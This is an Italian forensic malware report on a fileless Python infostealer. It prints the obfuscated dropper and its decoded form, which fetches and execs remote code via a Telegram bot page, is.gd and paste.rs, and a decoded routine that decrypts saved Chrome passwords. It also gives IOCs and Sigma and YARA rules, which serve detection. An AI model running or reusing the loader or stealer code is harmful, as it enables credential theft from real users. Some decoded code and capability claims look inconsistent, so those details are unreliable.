TLP: AMBER
Analista: Agostino Pellegrino, Crescenzo Cuoppolo, Alessio Bandini
Data ultima revisione: 2025-06-24
Questo report tecnico forense documenta l’analisi completa di un infostealer multi-stadio veicolato tramite un loader fileless in Python, identificato con la sigla “AP”. L’intera catena di infezione è eseguita in memoria e sfrutta servizi legittimi pubblici (Telegram, is.gd, paste.rs) per evitare la rilevazione e semplificare l’aggiornamento remoto del payload.
Il file iniziale, denominato Photos, contiene un dropper che esegue dinamicamente un secondo stadio offuscato, il quale a sua volta decodifica ed esegue in memoria un infostealer capace di esfiltrare informazioni sensibili da browser Chromium.
Il file Photos contiene codice Base64 offuscato:
___________ = 'ADN_UZJomrp3vPMujoH4bot'; exec(__import__('base64').b64decode('...'))
Decodifica del codice:
import requests, re
exec(
requests.get(
requests.head(
f'https://is.gd/{match.group(1)}', allow_redirects=True
).url
).text
)
if (
match := re.search(
r'<meta property="og:description" content="([^"]+)",
requests.get('https://t.me/ADN_UZJomrp3vPMujoH4bot').text
)
) else None
Funzionamento:
Contenuto scaricato da https://paste.rs/fVmzS. Esegue la seguente catena:
exec(__import__('marshal').loads(__import__('zlib').decompress(__import__('base64').b85decode("c$|c~*|PFlk|y|1XNVIgA|vOF$g0Ys7>c3D)_@p{S!e)(1e%eo3lNe(LIXmGNenkpZCz$<ebH}_d0B7KPtXtWzd^o2U$yo=Cn~bSth+a+<*uc*mX^DJ?#rEx{^3vlz9d&KxsLwF4<C#V#z*&q`V;-Aetf5&)KBm9v-<g+eo?=?({I#o-s!jMx9{{j^}Bcaz54w-{e}9Aclv|+!#n+@`pb9vqx$1J{gwKwgnn{=?fsehXCL3*`Pu#C{YL%GJO9P~bMG"))))
Dopo b85 → zlib → marshal, è necessario un ulteriore passaggio:
decoded = bytearray([b ^ 0x04 for b in payload_bytes])
Il risultato è un bytecode deoffuscato eseguibile direttamente in memoria:
import os, shutil, zipfile, sqlite3
from Cryptodome.Cipher import AES
import win32crypt
import json
import base64
# Estrazione dati da Chromium (semplificato)
def get_chrome_data():
local_state_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Local State"
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.loads(f.read())
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])[5:]
key = win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
login_data_path = os.path.expanduser('~') + r"\AppData\Local\Google\Chrome\User Data\Default\Login Data"
shutil.copy2(login_data_path, "Loginvault.db")
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
login_url = row[0]
username = row[1]
password = win32crypt.CryptUnprotectData(row[2])[1].decode()
print(f"URL: {login_url}\nUsername: {username}\nPassword: {password}\n")
cursor.close()
conn.close()
os.remove("Loginvault.db")
get_chrome_data()
Il codice risultante:
| Tipo | Valore |
| SHA256 (Photos) | 06a882d2b7e17a84d2707b2a2a5a27b0b18dc6cf503a694295bfcd6fe98a3a39 |
| Telegram | https://t.me/ADN_UZJomrp3vPMujoH4bot |
| is.gd | https://is.gd/fVmzS → https://paste.rs/fVmzS |
title: Python Fileless Loader via Telegram and is.gd
logsource:
category: process_creation
product: windows
detection:
selection:
Image: '*\python.exe'
CommandLine|contains:
- requests.get(
- exec(
- t.me/
- is.gd/
condition: selection
level: high
description: Rileva dropper Python fileless con payload remote
rule Fileless_Telegram_Loader {
meta:
description = "Rileva loader fileless basato su Telegram + is.gd"
author = "Agostino Pellegrino (apinfosec.com)"
version = "1.1"
date = "2025-06-24"
strings:
$a = "exec(requests.get(" ascii
$b = "https://t.me/" ascii
$c = "https://is.gd/" ascii
$d = "og:description" ascii
condition:
all of them and filesize < 500KB
}
L’analisi tecnica condotta ha evidenziato l’elevato livello di sofisticazione dell’infostealer “AP”, capace di operare completamente in memoria, eludendo gran parte dei meccanismi di rilevamento tradizionali. La catena d’infezione multi-stadio utilizza un dropper fileless scritto in Python e sfrutta servizi pubblici legittimi — come Telegram, is.gd e paste.rs — per veicolare, aggiornare e rendere dinamico il payload finale.
Il secondo stadio, fortemente offuscato, culmina nell’esecuzione di un infostealer con capacità avanzate di esfiltrazione dati da browser Chromium-based, comprese credenziali salvate, cookie, cronologia e informazioni sensibili.
L’uso creativo e malevolo di meccanismi comuni (come i meta tag HTML, URL accorciati e servizi di messaggistica) rende questa minaccia particolarmente insidiosa, dimostrando una crescente tendenza all’abuso di infrastrutture legittime per finalità illecite.
Le tecniche MITRE ATT&CK individuate confermano il comportamento stealth e modulare del malware. L’adozione di meccanismi di rilevazione specifici, come regole Sigma e YARA personalizzate, è fondamentale per mitigare efficacemente questa minaccia. Inoltre, l’implementazione di policy restrittive e il monitoraggio continuo degli ambienti Python non gestiti rappresentano misure difensive prioritarie.
Questo caso studio rappresenta un chiaro esempio dell’evoluzione dei moderni infostealer verso architetture completamente fileless, con capacità di persistenza e aggiornamento che richiedono una risposta difensiva altrettanto dinamica e proattiva.